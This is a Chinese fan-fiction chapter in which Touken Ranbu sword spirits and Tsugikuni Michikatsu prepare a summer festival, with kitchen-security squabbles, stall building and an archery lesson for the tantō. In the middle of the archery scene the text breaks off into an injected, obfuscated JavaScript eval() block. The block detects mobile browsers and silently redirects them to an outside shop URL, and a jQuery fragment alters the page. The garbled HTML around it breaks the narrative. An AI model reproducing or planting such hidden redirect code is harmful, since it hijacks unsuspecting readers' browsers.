筹备夏日祭的过程像一场温和的暴动。
烛台切光忠试图制定饮食分配表，第三版草案被鹤丸国永涂改成“随机惊喜菜单”后，他放弃了，转而把厨房门锁换成了灵力认证的——只有他、歌仙兼定和长谷部能开。
长谷部对此的回应是制作了厨房排班表，精确到每分钟，贴在门上时用了防水防撕的双层符纸。
“主公，这是为了保证食品安全和流程效率。”长谷部在晨会上汇报时，手里的记录板边缘几乎要被他捏出裂痕。
“根据以往数据，节日活动期间食物中毒概率会上升37%，主要原因包括：一、鹤丸殿的‘创意料理’；二、短刀们偷吃未熟食材；三、某位不愿透露姓名的太刀将酒心巧克力混入儿童套餐。”
审神者捧着茶杯，表情平静：“所以你的解决方案是……锁门？”
“以及每小时一次的灵力扫描抽查。”长谷部从记录板后抽出一张更复杂的表格，“我已经安排了轮值——”
“我反对。”国重的声音从房间另一头传来。他抱着手臂靠在墙上，触屏板的光映着他没什么表情的脸，“每小时抽查会打断厨房工作流，降低整体效率至少15%。更好的方案是安装灵基识别摄像头，实时监控，异常自动报警。”
长谷部的额角跳了一下：“摄像头需要额外预算申请，流程至少三天。我的方案今晚就能实施。”
“你的方案会让烛台切先生每隔一小时就要停下手里的活给你开门。”
“这是必要的安全措施——”
“这是不必要的效率损耗。”
审神者喝了口茶，在两人之间扫了一眼：“这样吧，长谷部负责前半夜的抽查，国重负责后半夜的摄像头调试——如果三天内能通过预算审批的话。”
两人同时开口：“可是——”
“没有可是。”审神者放下茶杯，声音温和但不容置疑，“祭典明晚开始，你们还有24小时解决所有技术性问题。或者，我可以让鹤丸全权负责饮食区。”
房间里安静了三秒。
“……我会调整抽查频率。”长谷部说，笔尖在记录板上划出深深的痕迹。
“我去催预算审批。”国重转身就走，触屏板差点撞上门框。
---
山姥切国广被分配去搭摊位支架。和他一起的是浦岛虎彻，小孩儿抱着龟吉在旁边指挥：“左边高一点！不对，再低一点……啊，好像刚才那样更好？”
山姥切国广默默把支架拆了重搭。木头的接榫处有点涩，他用力时肩膀的旧伤隐隐作痛——上次后遗症还没完全消退，灵基深处有种微妙的、类似肌肉使用过度的酸胀感。
“山姥切国广先生脾气真好。”浦岛说，龟吉在他怀里懒洋洋地打了个哈欠。
“只是工作。”山姥切国广说，手里没停。破布裹得太紧，动作有点碍事，他把它往后推了推，露出更多金发。自从同步训练后，他好像没那么常把整张脸藏进布里了——虽然还是很抗拒被盯着看，但至少能在人多的场合保持呼吸顺畅。
支架搭到一半，山姥切长义路过。他穿着那身标志性的黑银制服，手里抱着厚厚一摞文件，看样子刚从时政那边回来。银发在午后阳光下泛着冷光，和周围忙碌喧闹的气氛格格不入。
“仿品君，”他停下脚步，视线扫过歪斜的支架，“你的水平仪是装饰品吗？”
山姥切国广低头看了看手里的工具——那玩意儿他确实不太会用，刻度盘上的指针总在轻微晃动。“……我用眼睛看的。”
“看出来了。”长义把文件夹在腋下，走过来接过水平仪，动作自然得像这是他的本职工作，“左边低了两毫米。虽然以你的标准来说已经算奇迹了。”
他蹲下来调整支架的角度，银发从耳后滑落。山姥切国广注意到他制服袖口沾了点木屑，还有一小片疑似茶渍的痕迹——这很不‘山姥切长义’。真品大人向来一丝不苟，连领针的角度都要用灵力测量仪校准。
“长义先生昨晚没休息？”山姥切国广脱口而出，说完就后悔了。这问题越界了，本歌的事轮不到仿品过问。
但长义只是“嗯”了一声，没多解释。他把水平仪塞回山姥切国广手里：“下次用工具。眼睛会骗人，数据不会。”
“您教我用？”
话一出口，两人都愣了一下。空气里有什么东西微妙地紧绷起来，像拉得太满的弓弦。
长义盯着他看了两秒，眼神复杂得像在解读某种加密文件。“……庆典结束后。”他最终说，声音没什么起伏，“如果那时我档案室的工作告一段落。”
他转身要走，浦岛在旁边小声说：“长义先生好厉害，连木工都会。”
“监察官需要掌握多种技能。”长义没回头，“包括但不限于文书伪造鉴定、灵力轨迹追踪、以及判断一个支架是否会在第一阵风里散架。”
他走了，银饰叮当作响。山姥切国广低头继续拧螺丝，手指有点抖——不是紧张，是灵基里那股酸胀感在刚才的对话中莫名其妙地加剧了。
“长义先生好难懂啊。”浦岛说，龟吉赞同地张了张嘴。
山姥切国广没说话，只是继续拧螺丝，嘴角有很淡的、几乎看不见的弧度。
---
严胜在道场里被短刀们围住时，第一反应是拔刀。
“严胜哥哥教我们射箭吧！”五虎退抱着小老虎，眼睛亮晶晶的，“夏祭有射的摊位，一期哥说如果我们能射中靶心，就奖励额外的苹果糖！”
“苹果糖含糖量过高，不利于儿童牙齿健康。”药研的声音从门口传来，他抱着医疗箱，推了推眼镜，“不过作为阶段性奖励，可以接受。前提是你们别把箭射到围观群众头上。”
短刀们发出一阵抗议的喧哗。严胜看着这一屋子活蹦乱跳的‘麻雀’，太阳穴开始隐隐作痛。
他想起审神者昨天的话：“就当是剑术课的延伸教学。而且——”审神者当时停了一下，“缘一说他想看你射箭。”
严胜当时没接话。他只是盯着茶杯里自己的倒影，看着那张属于青年全盛期的脸，想着四百年前他也曾站在靶场，父亲和家臣在旁观看，每一次拉弓都像是表演，每一次命中都像是在天平上加码——看，继国家的长子，未来的家主，多么优秀。
现在他要教一群短刀射箭，奖励是苹果糖。
“箭筒在那边。”他最终说，声音干巴巴的，“每人三支，射完排队。”
道场里瞬间安静下来，短刀们迅速排成整齐的一列——在这方面，粟田口的纪律性值得称赞。秋田藤四郎第一个上前，拿起儿童用的短弓，手抖得像风中的叶子。
“肩膀放松。”严胜站在他侧后方，没碰他，只是用竹刀轻轻点了一下他绷紧的肩胛，“弓不是刀，不需要那么大的杀气。”
“可、可是要射中……”
“先射出去再说。”
秋田深吸一口气，松弦。箭歪歪扭扭地飞出去，扎在靶子边缘，颤了几下，没掉。
“中了！”短刀们欢呼。
秋田转过头，眼睛亮得惊人：“严胜哥哥，我射中了！”
严胜看着他那张兴奋得发红的脸，喉咙里有什么东西哽了一下。“嗯。”他最终说，声音比预想的柔和，“下次调整一下呼吸节奏，会更稳。”
轮到五虎退时，小老虎在旁边捣乱，试图扑咬箭羽。严胜弯腰拎起那团毛球，动作熟练得他自己都惊讶——大概是刷马刷出来的手感。小老虎在他手里“嗷呜”一声，不动了。
“它喜欢您。”五虎退小声说。
“它喜欢任何不踢它的人。”严胜把老虎塞回五虎退怀里，“专心。”
教学进行到一半时，缘一出现了。他安静地坐在道场角落，手里拿着个本子，时不时低头写点什么。严胜用余光瞥见——是那本封面上画了只歪歪扭扭的鸟的本子，大概是某个短刀的杰作。
“缘一在画什么？”乱藤四郎好奇地问。
“兄长的姿势。”缘一回答得很老实，“肩膀的角度，手臂的弧度，呼吸的节奏。”
严胜手一滑，箭差点脱靶。他稳住姿势，射出一箭——正中红心，但力道太大，箭尾还在剧烈震颤。
“为什么要画？”乱继续问。
缘一想了想：“因为好看。”
道场里响起几声压抑的笑。严胜觉得耳根有点热，他清咳一声：“下一个。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967709|192977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>轮到信浓时，小孩儿摆了个极其花哨的起手式，身体后仰，弓拉成满月，嘴里还配了音效：“必杀——藤四郎流·流星一箭！”
箭飞出去，在空中划出一道华丽的弧线，然后完美错过了靶子、墙壁、以及道场范围内的一切实体，径直飞向窗外。
窗外传来鹤丸的惊呼：“哇哦！暗器！”
紧接着是瓷器碎裂的声音。
道场里死寂一片。药研推了推眼镜，面无表情地在本子上记了一笔：“赔偿清单：鹤丸殿的茶杯一个，庭院观赏石灯笼顶部装饰球一枚，以及——大将刚晾在外面的内番服一件，正中胸口。”
信浓的脸白了。
严胜看着他，想起自己小时候也干过类似的事——不是射箭，是练剑时没收住力道，劈碎了父亲珍藏的花瓶。那天他被罚跪在祠堂前，听着父亲在隔壁房间的怒斥：“继国家不需要控制不住力道的继承人！”
他沉默了几秒，然后说：“姿势太浮夸，重心不稳。重来。”
信浓愣愣地看着他。
“这次，”严胜补充，“瞄准靶子，不是天空。”
信浓深吸一口气，重新搭箭。这次动作朴实了许多，虽然还是有点紧张，但至少箭朝着正确的方向飞了出去——擦过靶子边缘，没中，但也没造成二次破坏。
“进步了。”严胜说。
信浓的眼睛亮起来。
---
傍晚时分，本丸的庭院彻底变了样。摊位支架全都横平竖直，风铃挂得间距统一，在夏日晚风中发出细碎悦耳的碰撞声。
灯笼沿廊檐挂了一排，还没点亮，但在渐暗的天色里已经能想象出夜晚的暖光。
严胜回到房间时，看见桌上放着东西——不是折纸，也不是点心。是一筒箭，箭羽染成了深紫色。
没有署名。
但剪筒上刻了个月亮的纹样，刻痕很新，边缘还有细微的木屑。
他盯着那个月亮刻痕看了很久。
窗外传来短刀们的笑闹声，他们在做最后的准备。信浓在大声指挥什么，鹤丸在旁边插科打诨，烛台切的声音从厨房方向传来：“最后一次确认食材清单——”
庆典就要开始了。
严胜小心地把弓和箭筒一起挂到墙上，和虚哭神去并排。一黑一竹，一杀伐一平和，在渐暗的房间里形成奇异的对照。
他拉开门，走到廊下。
夕阳完全沉没了，天边还残留着一抹暗红。灯笼一盏接一盏亮起来，暖黄的光晕在夏夜里晕开，把本丸染成温柔的色调。
远处，山姥切国广在调整最后一个风铃的位置，长义站在旁边，手里拿着水平仪，嘴上说着“左边再高0.5毫米”，眼睛却看着山姥切国广的侧脸。
烛台切和歌仙在厨房门口最后一次核对清单，长谷部和国重一左一右站着，两人虽然没说话，但检查的动作有种诡异的同步。
短刀们换上了浴衣，在庭院里跑来跑去，浴衣下摆飞扬得像蝴蝶翅膀。
缘一坐在廊下边缘，还是拿着那个本子，炭笔在纸上沙沙作响。他画的是逐渐亮起的灯笼，每一盏光晕都细细描摹，仿佛那是值得永久记录的珍宝。
严胜看着这一切。
四百年前，继国家的宅邸也有过类似的夜晚——不是祭典，是某个节日，家臣们忙碌准备，灯笼点亮，孩子们在庭院里玩耍。那时他作为长子，必须端坐在主屋，维持着未来家主的仪态，不能笑，不能跑，只能看着。
现在他可以站在这里，作为一个单纯的旁观者。
或者，作为一个……参与者？
五虎退抱着小老虎跑过来，浴衣带子都快散了：“严胜哥哥！祭典要开始了！您会来射的摊位吧？”
小孩儿眼睛亮得像星星，里面倒映着逐渐亮起的灯笼光。
严胜沉默了一下。
“……嗯。”他最终说。
就这一个字，让五虎退整张脸都亮起来。他用力点头，抱着老虎跑开了，浴衣下摆飞扬。
严胜抬头，看向完全暗下来的夜空。
第一颗星星刚刚亮起，微弱，但坚定。
像某个答案，在漫长的黑暗后，终于开始闪烁。